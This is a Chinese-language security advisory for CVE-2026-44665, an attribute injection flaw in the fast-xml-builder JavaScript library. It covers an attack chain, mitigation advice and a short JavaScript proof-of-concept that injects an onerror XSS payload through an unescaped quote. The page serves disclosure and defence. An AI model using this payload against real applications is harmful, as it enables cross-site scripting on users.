IPBUF安全漏洞报告
English
CVE-2026-44665 CVSS 6.1 中危

CVE-2026-44665 fast-xml-builder属性注入漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44665
漏洞类型
XML注入
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
fast-xml-builder

相关标签

XML注入属性注入fast-xml-builderCVE-2026-44665XSS

漏洞概述

fast-xml-builder是一个用于将JSON对象转换为XML文档的JavaScript库。在1.1.7版本之前,该组件存在安全漏洞。当输入数据包含引号且未启用实体处理(process entities)选项时,库无法正确处理属性值中的引号,导致属性值被分割,允许攻击者注入恶意的XML或HTML属性。该漏洞可能被利用绕过安全检查或进行跨站脚本攻击。

技术细节

该漏洞的原理在于XML属性构建时的边界验证缺失。在fast-xml-builder中,当`processEntities`设置为false(默认可能为false或特定配置下)时,库不会自动将用户输入的引号(`"`)转义为XML实体(`"`)。如果攻击者控制了JSON数据,并在属性值中插入双引号,生成的XML结构会在该引号处闭合属性。随后,攻击者可以追加新的属性键值对。例如,输入`{"@_attr":"value" malicious="payload"}`,生成的XML将包含两个属性而非一个转义后的字符串。这种破坏数据完整性的行为可能导致XSS(若XML用于HTML渲染)或XML结构篡改。

攻击链分析

STEP 1
侦察
攻击者确认目标应用使用了fast-xml-builder库且版本低于1.1.7。
STEP 2
构造载荷
攻击者构造包含特殊字符(如双引号)的JSON数据,旨在打破属性值的封闭结构并插入自定义属性(如事件处理器)。
STEP 3
提交载荷
将恶意的JSON数据通过API请求或表单提交发送给服务器端。
STEP 4
解析与注入
服务器端使用存在漏洞的库将JSON转换为XML,由于未转义引号,生成了包含恶意属性的XML文档。
STEP 5
执行攻击
如果生成的XML被用于前端渲染(如转换为HTML),恶意属性(如onerror)将被浏览器解析执行,导致XSS。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const { XMLBuilder } = require('fast-xml-builder'); // Vulnerable configuration scenario const options = { processEntities: false, // The vulnerability context ignoreAttributes: false, format: true }; const builder = new XMLBuilder(options); // Malicious input containing quotes to break attribute value const maliciousInput = { "user": { "@_name": "admin", "@_role": "user\" onerror=\"alert(1)\" x=\"" // Injection payload } }; try { const xmlOutput = builder.build(maliciousInput); console.log("Generated XML:"); console.log(xmlOutput); // Output in vulnerable versions will look like: // <user name="admin" role="user" onerror="alert(1)" x="" /> } catch (e) { console.error(e); }

影响范围

fast-xml-builder < 1.1.7

防御指南

临时缓解措施
如果无法立即升级,建议在将数据传入XML构建器之前,使用正则表达式或字符串替换函数,手动移除或转义属性值中的引号字符。同时,确保下游应用对生成的XML数据进行严格的上下文感知编码,防止直接渲染为HTML。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表